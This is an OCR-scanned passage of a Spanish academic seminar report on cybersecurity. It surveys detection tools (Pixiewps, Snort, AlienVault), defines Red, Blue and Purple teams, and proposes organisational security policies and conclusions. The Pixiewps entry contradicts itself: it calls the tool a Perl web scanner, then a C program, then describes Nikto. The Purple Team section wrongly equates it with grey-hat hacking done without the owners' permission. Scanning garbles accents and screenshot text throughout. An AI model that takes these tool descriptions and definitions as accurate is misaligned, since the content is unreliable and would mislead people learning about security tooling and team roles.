Mayor fiabilidad y reducciéon en

Fuente: Autoria propia Viviana Castellanos
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2.19 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS CON
LICENCIA GPL

Solucioén

2.19.1 Pixiewps

Este software programado en lenguaje de programaciéon Perl y distribuido bajo la
licencia GPL, sirve para rastrear vulnerabilidades web GPL en linea de comandos.
Es una herramienta de seguridad que esta desarrollada en lenguaje de

programacion C. 13,

Es una aplicacién bastante liviana, sencilla de utilizar, y tanto sus herramientas de
analisis como los plugins se actualizan automaticamente. Con Nikto es posible

analizar un servidor y obtener informacién precisa sobre su nivel de seguridad?®®.

llustracion 33 Pixiewps

PIXIEWPS

Fuente: https://m.apkpure.com/es/pixiewps-wifi-connect/com.waircut.pixiewps

13 Uniphyton. LAS MEJORES 20 PROGRAMAS DE SEGURIDAD INFORMATICA. [Sitio web].
[Consulta: 17 septiembre 2023]. Disponible en https://unipython.com/las-mejores-20-programas-de-

sequridad-informatica/
14 1bid.,
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2.19.2 Snort

Snort es un sistema de deteccién de intrusos con el cual es posible descubrir
ataques a la red y prevenir de su existencia. Su motor de deteccion registra, alerta
y responde cuando surge alguna anomalia o comportamiento sospechoso,
incluyendo analisis de protocolos, intentos de aprovechar alguna vulnerabilidad,

entre otros?®.

Es uno de los programas de seguridad informatica mas utilizados pues posee una
enorme cantidad de patrones predefinidos y actualizaciones constantes sobre

ataques, barridos o vulnerabilidades detectadas?®.

llustracion 34 Herramienta Snort

Fuente: https://www.ochobitshacenunbyte.com/2020/09/29/deteccion-de-intrusos-
con-snort/

2.19.3 AlienVault

AlienVault Gestidén de Seguridad Digital Integrada (USM, por sus siglas en inglés),

es una plataforma unificada disefiada para proporcionar y garantizar una defensa

15 Uniphyton. LAS MEJORES 20 PROGRAMAS DE SEGURIDAD INFORMATICA. [Sitio web].
[Consulta: 17 septiembre 2023]. Disponible en https://unipython.com/las-mejores-20-programas-de-

sequridad-informatica/
16 |bid.,
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completa contra las amenazas de seguridad mas recientes, enfocada
especialmente a Pequefias y Medianas Empresas (PYME)'".

AlienVault proporciona:

* “Funciones de Seguridad multiples en una sola consola
* Monitoreo de Seguridad unificado y coordinado

* Gestion/Administracion de Eventos de Seguridad y

* Presentacién de Informes amigables

* Inteligencia contra Amenazas de Seguridad continuada

* Despliegue rapido (Se instala en 30 minutos)”18

llustracion 35 Interfaz Alien Vault

ot =4 9, = X
ASHBOARDS ANALYSIS INVIRONMENT REPORT NEIGURATION

'  acrioms - |
DATE 15840 1 O IRTEDCR
AUEINVALLT SERBOR pa—— W1 WP CATEGORY
OEWCE I ' 1 75 [oe QIATA BOLNCE WA
EVENT TFE O QATA 20LNCE D e
UNQUE EVENT (De ¢z 109 Pee 302 TS B FROOUCT TYPE e
FROTOCOL ADDITIONAL M0
PRIDRITY NHLASILITY L OTE NOGATORS
Lo
PURCE " Rl 2 DESTMATION

Fuente: https://www.zippyops.com/alienvault-ossim

17 Cero Uno Software Corporativo. AlienVault. [Sitio web]. [Consulta;: 16 septiembre 2023].

Disponible en https://cerounosoftware.com.mx/alienvault/
18 1bid.,
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220 DE QUE MANERA PUEDEN APORTAR EN EL CAMPO DE LA
CIBERSEGURIDAD LA INTEGRACION DE EQUIPOS BLUE TEAM, RED TEAM Y
PURPLE TEAM AL MISMO TIEMPO DENTRO DE UNA ORGANIZACION.

Definimos los tres conceptos para cada de los equipos y asociar con conceptos que

son parte de la ciberseguridad:
2.20.1 Red Team

En los equipos de Red Team se puede ejecutar actividades para realizar
emulaciones con escenarios de ataques y amenazas que una organizacion
enfrentaria para evaluar los protocolos habilitados en la organizacién para proteger

sus activos criticos y sus capacidades de deteccion y respuesta.

2.20.2 Blue Team

El objetivo es realizar evaluaciones de las distintas amenazas que puedan afectar
a las organizaciones, monitorizar (red, sistemas, etc.) y recomendar planes de

actuacion para mitigar los riesgos.

2.20.3 Purple Team

El objetivo del equipo de Purple Team es gestionar la seguridad de los activos de la
organizacién, realizar pruebas para comprobar la eficacia de los mecanismos y
procedimientos de seguridad y definir/desarrollar controles de seguridad adicionales

para disminuir el riesgo de la organizacion.

Las tres definiciones dadas anteriormente, se ligan en conjunto a las funciones que
son relacionadas por nosotros los profesionales, la comunidad de ciberseguridad,
haciendo referencia a los objetivos que son enfocados en cada labor, existiendo

diferencias en cada una de ellas.
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Los equipos de Purple Team y los hackers de sombrero gris, buscan las

vulnerabilidades de un sistema o equipo que ha estado bajo andlisis, sin que los

duefios hayan permitido realizar dichas pruebas; al mismo modo, que cuando

encuentran vulnerabilidades, se lo hacen saber al responsable del sistema,

ofreciendo sus servicios profesionales para la correccidbn de las amenazas

descubiertas.

En la integracion de equipos Blue Team, Red Team y Purple Team se gana lo

siguiente dentro de la compafiia:

w0 N PR

9.

Comunicacion y colaboracion constante de informacion entre los equipos
Respaldo en la integridad de los datos.

Escaneo de los sistemas en la proteccion de antimalware.

Crear backup limpio de cualquiera vulnerabilidad incrustado en el sistema e
informacion.

Activas los sistemas de defensa, firewall y herramientas que se encuentran
incluidas en algunos sistemas operativos.

Asegura el funcionamiento de la red

Proteccién en los activos criticos de la organizacion.

Identifica los equipos infectados que se encuentren con errores y/o
vulnerabilidades incrustados por cualquier tipo de virus aceptado en la red.

Alinea la deteccién con las amenazas.

10.Se adquiere especialistas en procesos de deteccion y de amenazas.

11.Maximizar la efectividad de las actividades al trabajar en grupo.
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2.21 PLANTEE POLITICAS DE SEGURIDAD Y RECOMENDACIONES PARA
MEJORAR LOS ASPECTOS DE CIBERSEGURIDAD EN CUALQUIER
ORGANIZACION EN SUS ENTORNOS T.I.

A parte de las politicas ambiguas y reconocidas que se aplican por naturalidad en
una organizacion, la proteccion de la informacion es deber reforzar esas mismas

politicas, pero adicionar entre ellas:

e Actualizacion de los sistemas de seguridad a diario, en cada uno de los
equipos fisicos.

e Utilizar autenticacion de dos pasos en los servicios que sean integrados por
el personal de Tl a los empleados de la compaiiia.

e El proceder con la instalacion y utilizacién de cualquier software que genere
restricciones en aplicaciones y los sistemas deben estar restringidos y
controlados.

e Todos los sistemas de gestidn, usar contrasefas fuertes y de calidad, donde
se incluyan letras, nimeros y caracteres especiales.

e Establecer y actualizar los planes de contingencia para el proceso y la
continuidad de los servicios.

e Programar e implementar varios métodos en los respaldos de la informacion.
e Capacitar y ensefar al personal que labora en la organizacién al buen uso de
las conexiones seguras.

e No autorizar la instalacibn de programas desconocidos y que sean
descargados de sitios el cual no sean recomendados Y sitios no oficiales de los
proveedores.

e No ingresar a correos desconocidos el que indiguen que abran enlaces y
descargar archivos adjuntos.

e Automatizar los sistemas de seguridad.

e Instalar software licenciados para experimentar todas las funciones

implementadas para su ejecucion.

75



e No guardar automaticamente las contrasefias en los navegadores web, al

igual que contrasenfias referentes a cuentas bancarias.

e En una organizacion empresarial, realizar conexiones seguras a través de

VPN.

e Activar la Autenticacion de Multiples Factores (MFA), siendo una medida de
seguridad, adicional a la contrasefa, para realizar pruebas de identidad.

e Implementar el servicio en la nube, con funciones de seguridad, como opcion
de almacenamiento de datos.

e Actualizar equipos fisicos o hardware cuando sean equipos antiguos en su

version.
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2.22 CONCLUSIONES QUE ORIENTEN ASPECTOS IMPORTANTES EN

CUANDO A LA INVERSION DE CIBERSEGURIDAD DENTRO DE LAS
ORGANIZACIONES

Cada una de las etapas que se analizaron en cada etapa, nos indica que el

conocimiento técnico no sera parte de nuestras funciones laborales como

especialistas en seguridad informética. Dentro de los términos laborales, también

incluye:

1.

Educarse en los marcos regulatorios de las organizaciones gubernamentales
gue establezcan las funciones, deberes y prohibiciones que se debe tener en

cuenta en la ejecucidn de nuestra profesion a cada una de las empresas.

La lectura y comprension, dos items que deberdn ser parte de cada
profesional, con el objetivo de tener sumar conocimiento a medida que se
avanza en los términos de la carrera y en lo que aceptamos al firmar
documentos legales en el proceso de contratacion realizado por cualquier

compaifia.

La seguridad de la informacién se debe revisar e identificar antes que se
establezca perdida de la informacion por no desplegar medidas preventivas
antes de generar la no continuidad de los servicios por cualquier ataque
establecido.

Los ultimos ataques concretados por los grupos de Rasomware en Colombia,
ha presentado indicadores de las vulnerabilidades en la red que no son
detectadas, vulnerabilidades a las cuales debemos de enfocarnos para que

no sea incrustados en los diversos servicios y medios de nuestra red a cargo.

Las recomendaciones en el uso de los servicios en internet son para todo el

personal de la compafiia.

77



Salvaguardar informacioén en la instalacion de dispositivos tiene un alto costo,
pero sera mas el costo el rescate que ejerce los delincuentes cibernéticos

cuando estén en manos de ellos la informacion delicada de la compafiia.
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CONCLUSIONES

Iniciamos esta seccion dando una critica fuerte que se esta presentando no solo en
nuestro pais, sino también a nivel de Latinoamérica, en la que se ha visto reflejado
las deficiencias en las redes corporativas y las redes personales, en el ejemplo de
uso al cual le hemos brindado a la navegacion de la World Wide Web. Hemos
llegado al punto en la que nosotros siendo los encargados de la seguridad de la
informacion de una empresa y describiendo que se contratan servicios con
proveedores terceros a los cuales ponemos en confianza la informacién de toda una
compafiia, de imponer reglas en la navegacion de nuestros colaboradores y
comparieros de trabajo, siendo una de las partes del control en prevenir acceso de
vulnerabilidades a través de Pishing, correo electrénico, avisos publicitarios, entre

otros.

Las economias en invertir desde un profesional hasta los equipos 6ptimos son muy
altos, cuando se debe ejecutar siempre varios planes para no afectar la continuidad
del servicio de una empresa. Es bien conocido, que hoy en dia encontramos con
soluciones que nos son ofrecidas por compafiias especialistas en proteger cualquier
tipo y tamafio de datos, pero ante los acontecimientos que han sucedido se debe
mejorar los planes de contingencia, implementando métodos como planes de

alternancia para evitar la no paralizacion de un servicio.
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RECOMENDACIONES

En cada una de las actividades desarrolladas en las etapas del seminario, se
reflejan errores tanto humanos, técnicos y de conocimiento, que a lo normal se
pueden prevenir, pero por la experiencia y necesidad profesional aliada con la
necesidad humana, estamos obligados a aceptar cualquier trabajo, desconociendo

lo que nos puede afectar en nuestra hoja de vida y tarjeta profesional.

1. Para ejecutar cada una de las profesiones en Colombia, al igual que sucede
con nuestros actos que son realizados a diarios y que son desconocidos
cuales serian las consecuencias, nosotros siendo profesionales, sin importar
el area de estudio, tenemos derechos y deberes creados por organismos
estatales de la rama legislativa que debemos cumplir en nuestra larga hoja de

vida de profesional.

2. Nosotros siendo empleados, tenemos el derecho de conocer los términos de
nuestro contrato laboral y demas anexos al contrato, entre los que se
encuentran los acuerdos de confidencialidad, por lo tanto, es indicado que

razonemos los términos establecidos en cada documento que sea firmado.

3. Nos encontramos en el siglo, en la cual la tecnologia presenta deficiencia en
su desarrollo, por lo tanto, las politicas ambiguas no seran la referencia para
constituir los avances que se han presentado para revelar las deficiencias en

cualquier equipo de tecnologia creado por grandes proveedores.

4. Prepararnos desde los tres puntos de referencia de la ciberseguridad: Black
Hat, Grey Hat y White Hat, para asi asociarnos a la mentalidad de como afectar
una red y las deficiencias presentadas e implementar los equipos Yy

herramientas para Red Team y Blue Team.
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5. Buscar referencias de organizaciones no lucrativas que nos brinden apoyo
para aplicar puntos que nos indiquen si las estrategias relacionadas en nuestra
red, han sido las acertadas para prevenir ataques de gran tamafio como el

Rasomware.
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